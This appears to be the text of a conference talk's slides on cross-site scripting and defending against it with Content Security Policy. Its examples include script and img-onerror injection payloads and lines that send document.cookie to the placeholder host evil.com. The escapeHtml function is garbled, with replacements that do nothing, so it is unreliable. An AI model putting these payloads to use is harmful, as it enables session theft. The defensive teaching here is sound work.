- Software engineer at Disqus
- Co-author, Third-party JavaScript (Manning)
- Once ate 7 McDonald's cheeseburgers in one sitting
- Implemented Content Security Policy in Disqus
Vulnerability where attacker injects JavaScript code into a web document
<?php $name = $_GET['name']; echo "Welcome $name"; ?>
GET http://ursite.com/script.php?name=%3Cscript%3Ealert(%22pwned%22)%3C%2Fscript%3E HTTP/1.1
Welcome <script>alert("pwned")</script>
Client-side apps are not immune
var div = document.createElement('div');
div.innerHTML = 'Welcome' + user.name;
document.body.appendChild(div);
{
"id": 1337,
"username": "some_asshole87"
"name": "<img src=\"\" onerror=\"alert('pwned')\">",
}
Welcome <img src="" onerror="alert('pwned')">
Steal cookies
new Image('http://evil.com/capture?cookies=' + document.cookie);
Use local XHR
$.get('/my/contacts', function (response) { … });
Use client API
GMAIL.deleteAll();
Set-Cookie: session=29e807166458d2640 HttpOnly
document.cookie
Escape dangerous characters in untrusted strings
function escapeHtml(str) {
return String(str)
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'")
.replace(/\//g, "/")
}
Character substitutions recommended by OWASP
Sanitizing untrusted user data on the client
var div = document.createElement('div');
div.innerHTML = 'Welcome' + escapeHtml(user.name);
document.body.appendChild(div);
{
"id": 1337,
"username": "some_asshole87"
"name": "<img src=\"\" onerror=\"alert('pwned')\">",
}
Welcome <img src="" onerror="alert('pwned')">
The good
The bad
These are publicized exploits. There are likely far more kept private.
It's not a matter of if you will introduce an XSS vulnerability, but when.
Content-Security-Policy HTTP header
Example: restrict scripts to current origin and ajax.googleapis.com
Content-Security-Policy: script-src 'self' ajax.googleapis.com
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script> <script src="/js/app.js"></script> <script src="http://evil.com/pwnage.js"></script>
Refused to load the script 'http://evil.com/pwnage.js' because it violates
the following Content Security Policy directive: "script-src 'self' ajax.googleapis.com".
CSP also limits inline scripts
Content-Security-Policy: script-src 'self' ajax.googleapis.com
<script>new Image('http://evil.com/?cookie=' + document.cookie);</script>
Refused to execute inline script because it violates the following Content Security Policy
directive: "script-src 'self' ajax.googleapis.com"
Inline scripts are often used for defining global config state
<head>
<script>
var CONFIG = {
version = '7330b4',
appRoot = '//example.com',
cdnRoot = '//cdn.example.com'
};
</script>
<script src="js/app.js"></script>
<head>
This example will cause a CSP exception.
<script id="config" type="text/json">
{
"version": "7330b4",
"appRoot": "//example.com",
"cdnRoot": "//cdn.example.com"
}
</script>
<script src="js/app.js"></script>
In app.js …
var config = document.getElementById('config');
window.CONFIG = JSON.parse(config.textContent || config.innerHTML);
Content-Security-Policy: script-src 'self' 'unsafe-eval' ajax.googleapis.com
Warning: eval is considered an XSS vector
CSP can protect against a variety of unauthorized asset types.
img-src – limit origins of images
style-src – stylesheets
media-src – audio and video
frame-src – iframe sources
connect-src – XHR, WebSockets, EventSource
font-src – font files
object-src - Flash and other plugin objects
default-src – all assets (including scripts)
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com google-analytics.com; style-src 'self' ajax.googleapis.com; connect-src 'self' https://api.myapp.com realtime.myapp.com:8080; media-src 'self' youtube.com; object-src 'self' youtube.com; frame-src 'self' youtube.com embed.ly
Content-Security-Policy
X-WebKit-CSP
X-Content-Security-Policy
Vendor-prefixed CSP implementations all vary
X-WebKit-CSP, but breaks on it
report-uri to accept CSP exception requests (POST)
Configure an endpoint to report violations
Content-Security-Policy: default-src 'self'; report-uri http://mysite.com/report.php
CSP reports are delivered as JSON via HTTP POST
{
"csp-report": {
"document-uri": "http://example.org/page.html",
"referrer": "http://evil.example.com/",
"blocked-uri": "http://evil.example.com/evil.js",
"violated-directive": "default-src 'self'",
"original-policy": "default 'self'; report-uri http://mysite.com/report.php"
}
}
Content-Security-Policy-Report-OnlyContent-Security-Policy-Report-Only: default-src 'self'; report-uri http://mysite.com/report.php
document.onsecuritypolicyviolation = function (evt) {
console.log('Bzzp! Security violation on', evt.documentURI);
console.log('Violated directive:', evt.violatedDirective);
console.log('Original policy:', evt.originalPolicy);
};
… don't exist yet
Spec authors on Twitter